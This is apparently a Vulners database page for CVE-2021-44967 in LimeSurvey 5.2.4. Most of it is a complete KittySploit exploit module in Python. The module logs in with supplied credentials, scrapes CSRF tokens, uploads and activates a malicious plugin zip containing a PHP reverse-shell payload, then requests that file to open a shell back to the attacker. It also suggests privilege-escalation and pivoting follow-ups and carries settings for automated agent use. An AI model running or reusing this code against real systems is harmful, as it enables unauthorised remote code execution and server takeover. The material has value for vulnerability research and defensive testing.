LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)
| Reporter | Title | Published | Views | Family All 19 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Limesurvey | 5 Jan 202513:12 | – | githubexploit | |
| CVE-2021-44967 | 5 Jan 202523:48 | – | circl | |
| LimeSurvey 代码问题漏洞 | 24 Feb 202200:00 | – | cnnvd | |
| CVE-2021-44967 | 22 Feb 202221:17 | – | cve | |
| CVE-2021-44967 | 22 Feb 202221:17 | – | cvelist | |
| CVE-2021-44967 | 12 Oct 202615:40 | – | kitploit | |
| CVE-2021-44967 | 11 Oct 202608:05 | – | kitploit | |
| -Limesurvey-RCE-CVE-2021-44967 | 14 Oct 202614:39 | – | kitploit | |
| CVE-2021-44967 | 13 Oct 202601:56 | – | kitploit | |
| CVE-2021-44967 | 24 Feb 202215:15 | – | nvd |
10
#!/usr/bin/env python3
# -*- coding: utf-8 -*-
from kittysploit import *
from lib.protocols.http.http_client import Http_client
from bs4 import BeautifulSoup
import zipfile
import tempfile
import os
import warnings
from io import BytesIO
warnings.filterwarnings("ignore", category=UserWarning, module='bs4')
class Module(Exploit, Http_client):
__info__ = {
"name": "LimeSurvey 5.2.4 - Authenticated Remote Code Execution (RCE)",
"description": "CVE-2021-44967 - LimeSurvey Authenticated RCE via malicious plugin upload",
"author": ["D3Ext", "KittySploit Team"],
"cve": ["CVE-2021-44967"],
"arch": [Arch.PHP],
"platform": Platform.MULTI,
"category": "singles",
"payload": {
"default": "payloads/singles/cmd/php/reverse_tcp",
"arch": Arch.PHP,
"platform": Platform.PHP,
"category": "singles",
},
'agent': {
'risk': 'intrusive',
'effects': ['active_exploitation'],
'expected_requests': 2,
'reversible': False,
'approval_required': True,
'produces': ['exploit_paths', 'risk_signals'],
'cost': 1.5,
'noise': 0.5,
'value': 1.0,
'requires': {'min_endpoints': 0,
'min_params': 0,
'tech_hints_any': [],
'tech_hints_all': [],
'specializations_any': [],
'risk_signals_any': [],
'auth_session': False,
'capabilities_any': [],
'capabilities_all': [],
'confidence_min': {},
'confidence_min_any': {},
'endpoint_pattern_any': [],
'param_any': [],
'api_surface_ready': False},
'chain': {'produces_capabilities': [{'capability': 'rce', 'from_detail': ''},
{'capability': 'shell', 'from_detail': ''}],
'consumes_capabilities': [],
'option_bindings': {},
'suggested_followups': ['post/shell/multi/gather/privesc_suggester',
'post/shell/multi/manage/pivot_autoroute']},
},
}
username = OptString("", "Username to log in", required=True)
password = OptString("", "Password of the username", required=True)
def get_csrf_token(self, url_path):
"""
Extract CSRF token from a page
"""
try:
response = self.http_request(method="GET", path=url_path, session=True)
if not response:
return None
soup = BeautifulSoup(response.text, 'html.parser')
csrf_input = soup.find('input', {'name': 'YII_CSRF_TOKEN'})
if csrf_input:
return csrf_input.get('value')
# Fallback: try to get first input value
inputs = soup.findAll('input')
if inputs:
return inputs[0].get("value")
return None
except Exception as e:
print_error(f"Failed to extract CSRF token: {e}")
return None
def check(self):
"""
Check if target is LimeSurvey
"""
try:
response = self.http_request(method="GET", path="/index.php/admin/authentication/sa/login")
if response:
content = response.text.lower()
if 'limesurvey' in content or 'lime survey' in content:
return {
'vulnerable': True,
'reason': 'LimeSurvey detected',
'confidence': 'medium'
}
return {
'vulnerable': False,
'reason': 'LimeSurvey not detected',
'confidence': 'low'
}
except Exception as e:
return {
'vulnerable': False,
'reason': f'Check failed: {str(e)}',
'confidence': 'low'
}
def run(self):
"""
Execute the exploit
"""
try:
print_status("CVE-2021-44967 - LimeSurvey Authenticated RCE")
print_status(f"Target: {self.target}:{self.port}")
# Step 1: Create malicious zip file
print_status("Creating malicious zip file...")
random_name = self.random_text(10)
print_info(f"Plugin name: {random_name}")
# Create temporary directory for files
temp_dir = tempfile.mkdtemp()
php_file_path = os.path.join(temp_dir, "php-rev.php")
config_file_path = os.path.join(temp_dir, "config.xml")
zip_file_path = os.path.join(temp_dir, f"{random_name}.zip")
try:
# Create PHP reverse shell file using framework payload
php_content = f"<?php\n{self.payload}\n?>"
with open(php_file_path, 'w') as f:
f.write(php_content)
# Create plugin XML config file
config_content = f"""<?xml version="1.0" encoding="UTF-8"?>
<config>
<metadata>
<name>{random_name}</name>
<type>plugin</type>
<creationDate>2020-03-20</creationDate>
<lastUpdate>2020-03-31</lastUpdate>
<author>D3Ext</author>
<authorUrl>https://github.com/D3Ext</authorUrl>
<supportUrl>https://github.com/D3Ext</supportUrl>
<version>5.0</version>
<license>GNU General Public License version 2 or later</license>
<description>
<![CDATA[Author : D3Ext]]></description>
</metadata>
<compatibility>
<version>3.0</version>
<version>4.0</version>
<version>5.0</version>
<version>6.0</version>
</compatibility>
<updaters disabled="disabled"></updaters>
</config>
"""
with open(config_file_path, 'w') as f:
f.write(config_content)
# Create zip file
with zipfile.ZipFile(zip_file_path, 'w') as zipf:
zipf.write(config_file_path, arcname=os.path.basename(config_file_path))
zipf.write(php_file_path, arcname=os.path.basename(php_file_path))
print_success("Malicious zip file created")
# Step 2: Login
print_status("Sending login request...")
csrf_token = self.get_csrf_token("/index.php/admin/authentication/sa/login")
if not csrf_token:
print_error("Failed to retrieve CSRF token for login")
return False
login_data = {
"user": self.username,
"password": self.password,
"authMethod": "Authdb",
"loginlang": "default",
"action": "login",
"width": "1581",
"login_submit": "login",
"YII_CSRF_TOKEN": csrf_token
}
login_response = self.http_request(
method="POST",
path="/index.php/admin/authentication/sa/login",
data=login_data,
session=True
)
if not login_response:
print_error("Login request failed")
return False
# Check if login was successful
if 'login' in login_response.url.lower() and 'authentication' in login_response.url.lower():
print_error("Login failed - invalid credentials")
return False
print_success(f"Successfully logged in as {self.username}")
# Step 3: Upload malicious plugin
print_status("Uploading malicious plugin...")
csrf_token2 = self.get_csrf_token("/index.php/admin/pluginmanager/sa/index")
if not csrf_token2:
print_error("Failed to retrieve CSRF token for upload")
return False
upload_data = {
"YII_CSRF_TOKEN": csrf_token2,
"lid": "$lid",
"action": "templateupload"
}
# Read file content and prepare for upload
with open(zip_file_path, 'rb') as f:
file_content = f.read()
# Use BytesIO for binary file upload
files = {'the_file': (f"{random_name}.zip", BytesIO(file_content), 'application/zip')}
upload_response = self.http_request(
method="POST",
path="/index.php/admin/pluginmanager?sa=upload",
data=upload_data,
files=files,
session=True
)
if not upload_response:
print_error("Upload request failed")
return False
print_success("Malicious plugin uploaded successfully")
# Step 4: Install uploaded plugin
print_status("Installing uploaded plugin...")
csrf_token3 = self.get_csrf_token("/index.php/admin/pluginmanager?sa=installUploadedPlugin")
if not csrf_token3:
print_error("Failed to retrieve CSRF token for installation")
return False
install_data = {
"YII_CSRF_TOKEN": csrf_token3,
"isUpdate": "false"
}
install_response = self.http_request(
method="POST",
path="/index.php/admin/pluginmanager?sa=installUploadedPlugin",
data=install_data,
session=True
)
if not install_response:
print_error("Installation request failed")
return False
print_success("Plugin installed successfully")
# Step 5: Activate malicious plugin
print_status("Activating malicious plugin...")
csrf_token4 = self.get_csrf_token("/index.php/admin/pluginmanager?sa=activate")
if not csrf_token4:
print_error("Failed to retrieve CSRF token for activation")
return False
activate_data = {
"YII_CSRF_TOKEN": csrf_token4,
"pluginId": "1"
}
activate_response = self.http_request(
method="POST",
path="/index.php/admin/pluginmanager?sa=activate",
data=activate_data,
session=True
)
if not activate_response:
print_error("Activation request failed")
return False
print_success("Malicious plugin activated successfully")
# Step 6: Trigger the reverse shell
print_status(f"Triggering plugin by sending request to /upload/plugins/{random_name}/php-rev.php")
print_success("Check your listener!")
trigger_response = self.http_request(
method="GET",
path=f"/upload/plugins/{random_name}/php-rev.php",
session=True,
timeout=5
)
# Clean up temporary files
try:
os.remove(php_file_path)
os.remove(config_file_path)
os.remove(zip_file_path)
os.rmdir(temp_dir)
except:
pass
return True
except Exception as e:
print_error(f"Error during exploit execution: {e}")
# Clean up on error
try:
if os.path.exists(php_file_path):
os.remove(php_file_path)
if os.path.exists(config_file_path):
os.remove(config_file_path)
if os.path.exists(zip_file_path):
os.remove(zip_file_path)
if os.path.exists(temp_dir):
os.rmdir(temp_dir)
except:
pass
return False
except Exception as e:
print_error(f"Exploitation failed: {e}")
return False
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation
10 Jul 2026 11:31Current
8High risk
Vulners AI Score8
CVSS 3.18.8
CVSS 29
EPSS0.13502